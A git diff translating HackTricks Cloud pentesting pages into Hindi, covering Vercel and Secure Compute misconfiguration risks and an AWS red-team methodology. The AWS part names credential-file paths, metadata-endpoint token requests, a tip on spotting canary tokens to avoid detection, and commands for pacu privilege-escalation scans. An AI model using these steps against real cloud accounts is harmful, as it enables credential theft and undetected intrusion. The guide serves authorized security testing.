+- **Exposure of Secrets:** वातावरण वेरिएबल्स को अनधिकृत टीम के सदस्यों द्वारा देखा या संपादित किया जा सकता है।
+- **Data Breach:** संवेदनशील जानकारी जैसे API कुंजी और क्रेडेंशियल्स लीक हो सकते हैं।
+- **Audit Log:** टीम की गतिविधियों का निर्यात प्रदान करता है जो पिछले 90 दिनों तक होता है। ऑडिट लॉग टीम के सदस्यों द्वारा किए गए कार्यों की निगरानी और ट्रैकिंग में मदद करते हैं।
+- **Misconfiguration:**\
+अनधिकृत टीम के सदस्यों को ऑडिट लॉग्स तक पहुंच देना।
+- **Risks:**
+- **Privacy Violations:** संवेदनशील उपयोगकर्ता गतिविधियों और डेटा का उजागर होना।
+- **Tampering with Logs:** दुर्भावनापूर्ण अभिनेता लॉग को बदल या हटा सकते हैं ताकि वे अपने निशान छिपा सकें।
+- **SAML Single Sign-On:** आपकी टीम के लिए SAML प्रमाणीकरण और निर्देशिका समन्वय को अनुकूलित करने की अनुमति देता है, केंद्रीकृत प्रमाणीकरण और उपयोगकर्ता प्रबंधन के लिए एक पहचान प्रदाता (IdP) के साथ एकीकरण सक्षम करता है।
+- **Misconfiguration:** एक हमलावर SAML पैरामीटर जैसे Entity ID, SSO URL, या प्रमाणपत्र फिंगरप्रिंट्स को बैकडोर कर सकता है।
+- **Risk:** स्थिरता बनाए रखना
+- **IP Address Visibility:** नियंत्रित करता है कि क्या IP पते, जिन्हें कुछ डेटा सुरक्षा कानूनों के तहत व्यक्तिगत जानकारी माना जा सकता है, निगरानी क्वेरी और लॉग ड्रेनों में प्रदर्शित होते हैं।
+- **Misconfiguration:** आवश्यकता के बिना IP पते की दृश्यता को सक्षम छोड़ना।
+- **Risks:**
+- **Privacy Violations:** डेटा सुरक्षा नियमों जैसे GDPR का अनुपालन न करना।
+- **Legal Repercussions:** व्यक्तिगत डेटा के गलत प्रबंधन के लिए संभावित जुर्माना और दंड।
+- **IP Blocking:** IP पते और CIDR रेंजों को कॉन्फ़िगर करने की अनुमति देता है जिनसे Vercel को अनुरोधों को ब्लॉक करना चाहिए। ब्लॉक किए गए अनुरोध आपके बिलिंग में योगदान नहीं करते हैं।
+- **Misconfiguration:** एक हमलावर द्वारा दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या वैध ट्रैफ़िक को ब्लॉक करने के लिए दुरुपयोग किया जा सकता है।
+- **Risks:**
+- **Service Denial to Legitimate Users:** वैध उपयोगकर्ताओं या भागीदारों के लिए पहुंच को अवरुद्ध करना।
+- **Operational Disruptions:** कुछ क्षेत्रों या ग्राहकों के लिए सेवा उपलब्धता का नुकसान।
---
### Secure Compute
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
+**Vercel Secure Compute** Vercel Functions और बैकएंड वातावरण (जैसे, डेटाबेस) के बीच सुरक्षित, निजी कनेक्शन को सक्षम करता है, समर्पित IP पते के साथ अलग नेटवर्क स्थापित करके। यह बैकएंड सेवाओं को सार्वजनिक रूप से उजागर करने की आवश्यकता को समाप्त करता है, सुरक्षा, अनुपालन, और गोपनीयता को बढ़ाता है।
#### **Potential Misconfigurations and Risks**
1. **Incorrect AWS Region Selection**
- - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
+- **Misconfiguration:** Secure Compute नेटवर्क के लिए एक AWS क्षेत्र का चयन करना जो बैकएंड सेवाओं के क्षेत्र से मेल नहीं खाता।
+- **Risk:** बढ़ी हुई लेटेंसी, संभावित डेटा निवास अनुपालन मुद्दे, और प्रदर्शन में कमी।
2. **Overlapping CIDR Blocks**
- - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
+- **Misconfiguration:** CIDR ब्लॉक्स का चयन करना जो मौजूदा VPCs या अन्य नेटवर्क के साथ ओवरलैप करते हैं।
+- **Risk:** नेटवर्क संघर्ष जो विफल कनेक्शन, अनधिकृत पहुंच, या नेटवर्क के बीच डेटा लीक का कारण बनता है।
3. **Improper VPC Peering Configuration**
- - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
+- **Misconfiguration:** VPC पीयरिंग को गलत तरीके से सेट करना (जैसे, गलत VPC IDs, अधूरी रूट टेबल अपडेट)।
+- **Risk:** बैकएंड अवसंरचना तक अनधिकृत पहुंच, सुरक्षित कनेक्शनों में विफलता, और संभावित डेटा उल्लंघन।
4. **Excessive Project Assignments**
- - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
+- **Misconfiguration:** उचित अलगाव के बिना एकल Secure Compute नेटवर्क में कई प्रोजेक्ट्स को असाइन करना।
+- **Risk:** साझा IP एक्सपोजर हमले की सतह को बढ़ाता है, संभावित रूप से समझौता किए गए प्रोजेक्ट्स को दूसरों को प्रभावित करने की अनुमति देता है।
5. **Inadequate IP Address Management**
- - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
+- **Misconfiguration:** समर्पित IP पते का उचित प्रबंधन या रोटेट करने में विफलता।
+- **Risk:** IP स्पूफिंग, ट्रैकिंग कमजोरियाँ, और यदि IPs दुर्भावनापूर्ण गतिविधियों से जुड़े हैं तो संभावित ब्लैकलिस्टिंग।
6. **Including Build Containers Unnecessarily**
- - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
+- **Misconfiguration:** जब बैकएंड एक्सेस की आवश्यकता नहीं होती है, तो Secure Compute नेटवर्क में बिल्ड कंटेनरों को जोड़ना।
+- **Risk:** विस्तारित हमले की सतह, बढ़ी हुई प्रावधान में देरी, और नेटवर्क संसाधनों की अनावश्यक खपत।
7. **Failure to Securely Handle Bypass Secrets**
- - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
+- **Misconfiguration:** डिप्लॉयमेंट सुरक्षा को बायपास करने के लिए उपयोग किए जाने वाले रहस्यों को उजागर करना या गलत तरीके से संभालना।
+- **Risk:** सुरक्षित डिप्लॉयमेंट्स तक अनधिकृत पहुंच, हमलावरों को दुर्भावनापूर्ण कोड को हेरफेर या डिप्लॉय करने की अनुमति देना।
8. **Ignoring Region Failover Configurations**
- - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
+- **Misconfiguration:** निष्क्रिय फेलओवर क्षेत्रों को सेट करने में विफलता या फेलओवर सेटिंग्स को गलत तरीके से कॉन्फ़िगर करना।
+- **Risk:** प्राथमिक क्षेत्र की आउटेज के दौरान सेवा डाउनटाइम, उपलब्धता में कमी और संभावित डेटा असंगति।
9. **Exceeding VPC Peering Connection Limits**
- - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
+- **Misconfiguration:** अनुमत सीमा से अधिक VPC पीयरिंग कनेक्शन स्थापित करने का प्रयास करना (जैसे, 50 कनेक्शनों से अधिक)।
+- **Risk:** आवश्यक बैकएंड सेवाओं को सुरक्षित रूप से कनेक्ट करने में असमर्थता, डिप्लॉयमेंट विफलताओं और परिचालन व्यवधानों का कारण बनता है।
10. **Insecure Network Settings**
- - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
+- **Misconfiguration:** कमजोर फ़ायरवॉल नियम, एन्क्रिप्शन की कमी, या Secure Compute नेटवर्क के भीतर गलत नेटवर्क विभाजन।
+- **Risk:** डेटा इंटरसेप्शन, बैकएंड सेवाओं तक अनधिकृत पहुंच, और हमलों के प्रति बढ़ी हुई संवेदनशीलता।
---
### Environment Variables
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
+**Purpose:** सभी प्रोजेक्ट्स द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल्स और रहस्यों का प्रबंधन करें।
#### Security Configurations:
- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
+- **Misconfiguration:** संवेदनशील वेरिएबल्स को `NEXT_PUBLIC_` के साथ प्रीफिक्स करना, जिससे वे क्लाइंट साइड पर उपलब्ध हो जाते हैं।
+- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल्स, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है।
- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है।
+- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है।
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index ad71de826..a7b580696 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -4,9 +4,9 @@
## Basic Information
-**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
+**AWS** वातावरण में **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि AWS कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, कैसे गलत कॉन्फ़िगरेशन खोजने हैं और उन्हें कैसे भुनाना है।
-Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
+संगठन की पदानुक्रम, IAM और अन्य बुनियादी अवधारणाओं जैसे सिद्धांतों को समझाया गया है:
{{#ref}}
aws-basic-information/
@@ -29,42 +29,42 @@ Tools to simulate attacks:
## AWS Pentester/Red Team Methodology
-In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
+AWS वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रदर्शित किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक AWS सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं।
-From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
+Red Team के दृष्टिकोण से, **AWS वातावरण को समझौता करने का पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं:
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in AWS-Hosted Applications
- - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
- - **Local File Read**
- - `/home/USERNAME/.aws/credentials`
- - `C:\Users\USERNAME\.aws\credentials`
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- github (या समान) में **लीक** - OSINT
+- **सामाजिक** इंजीनियरिंग
+- **पासवर्ड** पुन: उपयोग (पासवर्ड लीक)
+- AWS-होस्टेड अनुप्रयोगों में कमजोरियाँ
+- [**सर्वर साइड अनुरोध धोखाधड़ी**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जो मेटाडेटा एंडपॉइंट तक पहुँच प्रदान करती है
+- **स्थानीय फ़ाइल पढ़ें**
+- `/home/USERNAME/.aws/credentials`
+- `C:\Users\USERNAME\.aws\credentials`
+- 3rd पार्टियों के **भंग**
+- **आंतरिक** कर्मचारी
+- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)क्रेडेंशियल्स
-Or by **compromising an unauthenticated service** exposed:
+या **अप्रमाणित सेवा** को समझौता करके जो प्रदर्शित है:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-Or if you are doing a **review** you could just **ask for credentials** with these roles:
+या यदि आप एक **समीक्षा** कर रहे हैं तो आप बस इन भूमिकाओं के साथ **क्रेडेंशियल्स** मांग सकते हैं:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानना होगा कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी गणना करनी होगी:
## Basic Enumeration
### SSRF
-If you found a SSRF in a machine inside AWS check this page for tricks:
+यदि आपने AWS के अंदर एक मशीन में SSRF पाया है, तो इस पृष्ठ पर ट्रिक्स के लिए देखें:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Whoami
-One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
-
+आपको जानने की पहली चीजों में से एक यह है कि आप कौन हैं (आप किस खाते में हैं और AWS वातावरण के बारे में अन्य जानकारी):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
-
> [!CAUTION]
-> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
-> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> ध्यान दें कि कंपनियां **canary tokens** का उपयोग कर सकती हैं यह पहचानने के लिए कि **tokens चुराए जा रहे हैं और उपयोग किए जा रहे हैं**। इसका सुझाव दिया जाता है कि उपयोग करने से पहले यह जांचें कि क्या एक token canary token है या नहीं।\
+> अधिक जानकारी के लिए [**इस पृष्ठ की जांच करें**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
-If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
+यदि आपके पास पर्याप्त अनुमतियाँ हैं तो **AWS खाते के अंदर प्रत्येक इकाई के विशेषाधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और कैसे **विशेषाधिकार बढ़ा सकते हैं**।
-If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
-Check **how to do the numeration and brute-forcing** in:
+यदि आपके पास IAM को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **उन्हें चुराने के लिए ब्रूटफोर्स कर सकते हैं**।\
+**सूचीकरण और ब्रूट-फोर्सिंग कैसे करें** की जांच करें:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं तो उम्मीद है कि आप **पता नहीं चले हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\
+> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं।
## Services Enumeration, Post-Exploitation & Persistence
-AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
+AWS में सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आप **बुनियादी जानकारी, सूचीकरण** cheatsheets\*\*,\*\* **पता लगाने से बचने** के तरीके, **स्थायीता** प्राप्त करने और उनमें से कुछ के बारे में अन्य **पोस्ट-एक्सप्लॉइटेशन** तरकीबें पाएंगे:
{{#ref}}
aws-services/
{{#endref}}
-Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
+ध्यान दें कि आपको सभी कार्य **हाथ से** करने की आवश्यकता नहीं है, इस पोस्ट के नीचे आप [**स्वचालित उपकरणों**](./#automated-tools) के बारे में एक **अनुभाग** पा सकते हैं।
-Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
+इसके अलावा, इस चरण में आप **असत्यापित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
-If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
+यदि आप विभिन्न संसाधनों पर **कम से कम अपनी अनुमतियों की जांच कर सकते हैं** तो आप **जांच सकते हैं कि क्या आप आगे की अनुमतियाँ प्राप्त कर सकते हैं**। आपको कम से कम उन अनुमतियों पर ध्यान केंद्रित करना चाहिए जो:
{{#ref}}
aws-privilege-escalation/
@@ -141,10 +139,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
-While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
-As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
+जब आप AWS सेवाओं को सूचीबद्ध कर रहे थे, तो आप उनमें से कुछ को **इंटरनेट पर तत्व उजागर करते हुए** पा सकते हैं (VM/Containers ports, databases या queue services, snapshots या buckets...)।\
+एक pentester/red teamer के रूप में आपको हमेशा यह जांचना चाहिए कि क्या आप उन पर **संवेदनशील जानकारी / कमजोरियों** को खोज सकते हैं क्योंकि वे आपको **AWS खाते में आगे की पहुँच** प्रदान कर सकते हैं।
-In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
+इस पुस्तक में आपको **जानकारी** मिलेगी कि **कैसे उजागर AWS सेवाओं को खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा:
{{#ref}}
https://book.hacktricks.xyz/
@@ -154,52 +152,49 @@ https://book.hacktricks.xyz/
### From the root/management account
-When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
+जब प्रबंधन खाता संगठन में नए खातों का निर्माण करता है, तो एक **नया भूमिका** नए खाते में बनाया जाता है, जिसे डिफ़ॉल्ट रूप से **`OrganizationAccountAccessRole`** कहा जाता है और **प्रबंधन खाते** को नए खाते तक पहुँचने के लिए **AdministratorAccess** नीति दी जाती है।
-So, in order to access as administrator a child account you need:
+तो, एक बच्चे के खाते के रूप में व्यवस्थापक के रूप में पहुँचने के लिए आपको आवश्यकता है:
-- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
-- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
+- **प्रबंधन** खाते को **समझौता** करें और **बच्चे के खातों** के **ID** और **भूमिकाओं** के **नाम** (डिफ़ॉल्ट रूप से OrganizationAccountAccessRole) को खोजें जो प्रबंधन खाते को व्यवस्थापक के रूप में पहुँचने की अनुमति देते हैं।
+- बच्चों के खातों को खोजने के लिए AWS कंसोल में संगठनों के अनुभाग पर जाएँ या `aws organizations list-accounts` चलाएँ।
+- आप भूमिकाओं के नाम सीधे नहीं खोज सकते, इसलिए सभी कस्टम IAM नीतियों की जांच करें और किसी भी नीति को खोजें जो **`sts:AssumeRole` को पहले से खोजे गए बच्चों के खातों पर अनुमति देती है**।
+- **प्रबंधन खाते में एक** **principal** को **`sts:AssumeRole` अनुमति के साथ समझौता करें जो बच्चों के खातों में भूमिका पर है** (भले ही खाता प्रबंधन खाते से किसी को भी अनुकरण करने की अनुमति दे रहा हो, क्योंकि यह एक बाहरी खाता है, विशिष्ट `sts:AssumeRole` अनुमतियाँ आवश्यक हैं)।
## Automated Tools
### Recon
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
-
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): एक मल्टी-थ्रेडेड AWS सुरक्षा-केंद्रित **इन्वेंटरी संग्रह उपकरण** जो Ruby में लिखा गया है।
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE= aws_recon \
- --services S3,EC2 \
- --regions global,us-east-1,us-east-2 \
- --verbose
+--services S3,EC2 \
+--regions global,us-east-1,us-east-2 \
+--verbose
```
-
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
-
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist एक **मल्टी-क्लाउड टूल है जो क्लाउड प्रदाताओं से एसेट्स (होस्टनेम, आईपी पते) प्राप्त करने के लिए है**।
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper आपको आपके Amazon Web Services (AWS) वातावरण का विश्लेषण करने में मदद करता है। इसमें अब बहुत अधिक कार्यक्षमता है, जिसमें सुरक्षा मुद्दों के लिए ऑडिटिंग शामिल है।
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
- "accounts": [
- {
- "default": true,
- "id": "",
- "name": "dev"
- }
- ],
- "cidrs":
- {
- "2.2.2.2/28": {"name": "NY Office"}
- }
+"accounts": [
+{
+"default": true,
+"id": "",
+"name": "dev"
+}
+],
+"cidrs":
+{
+"2.2.2.2/28": {"name": "NY Office"}
+}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-
-- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
-
+- [**cartography**](https://github.com/lyft/cartography): कार्टोग्राफी एक पायथन उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो एक Neo4j डेटाबेस द्वारा संचालित होता है।
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड बुनियादी ढांचा, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में है।
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 का उपयोग करता है) यह एक उपकरण है जो एक खाते में बनाए गए सभी [**AWS संसाधनों**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) को **खोजने** की कोशिश करता है।
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): यह एक उपकरण है जो एक AWS खाते से जुड़े सभी सार्वजनिक IP पते (IPv4/IPv6 दोनों) को **प्राप्त** करता है।
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- - Note that pacu **only checks your own privescs paths** (not account wide).
-
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** स्कैन किए गए AWS वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है। आप [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) में **`Check-PrivilegedPolicy`** फ़ंक्शन में **विशेषाधिकार प्राप्त नीतियों** की परिभाषा पा सकते हैं।
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu एक ओपन-सोर्स **AWS शोषण ढांचा** है, जिसे क्लाउड वातावरण के खिलाफ आक्रामक सुरक्षा परीक्षण के लिए डिज़ाइन किया गया है। यह **enumerate** कर सकता है, **miss-configurations** खोज सकता है और उन्हें **exploit** कर सकता है। आप [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) में **`user_escalation_methods`** dict के अंदर **विशेषाधिकार प्राप्त अनुमतियों** की परिभाषा पा सकते हैं।
+- ध्यान दें कि pacu **केवल आपके अपने privescs पथों** की जांच करता है (खाते के स्तर पर नहीं)।
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
-
